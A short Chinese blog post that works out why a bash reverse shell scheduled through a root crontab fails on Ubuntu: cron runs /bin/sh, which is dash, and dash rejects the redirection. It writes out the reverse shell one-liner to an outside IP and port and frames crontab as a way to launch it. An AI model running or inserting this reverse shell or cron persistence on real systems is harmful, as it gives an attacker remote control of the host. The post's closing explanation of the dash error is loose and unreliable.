关于ubuntu下反弹shell失败的研究
摘要:记录一下ubuntu下通过crontab计划任务反弹shell失败的原因。
问题描述
同一条反弹shell命令在ubuntu下面不能运行,但是在centos下可以正常运行。
/bin/bash -i >& /dev/tcp/192.168.0.2/1111 0>&1
很奇怪。
问题根源
在计划任务中添加如下定时任务
*/1 * * * * echo $0 >> /root/test.txt
在test.txt中可以看到ubuntu下crontab默认使用/bin/sh来执行定时命令(centos下crontab默认使用/bin/bash来执行定时命令)。
为了研究为什么ubuntu下使用crontab无法反弹shell,我们将ubuntu终端的默认shell由/bin/bash切换为/bin/sh,来模拟crontab执行定时命令时的情况。
首先在终端运行ls -alt /bin/sh
root@test:~# ls -alt /bin/sh
lrwxrwxrwx 1 root root 4 Mar 23 2022 /bin/sh -> dash
可以发现/bin/sh是/bin/dash的快捷方式。
接着使用chsh -s /bin/dash
将ubuntu终端的默认shell由/bin/bash切换为/bin/dash。(切换后,需要退出当前终端,重新打开终端才能生效)
# /bin/bash -i >& /dev/tcp/192.168.0.2/1111 0>&1
-sh: 2: Syntax error: Bad fd number
发现Syntax error: Bad fd number
报错。大概率就是/bin/dash环境下不支持将标准错误输出(2)重定向到标准输出(1)。
本作品采用 知识共享署名-相同方式共享 4.0 国际许可协议 进行许可。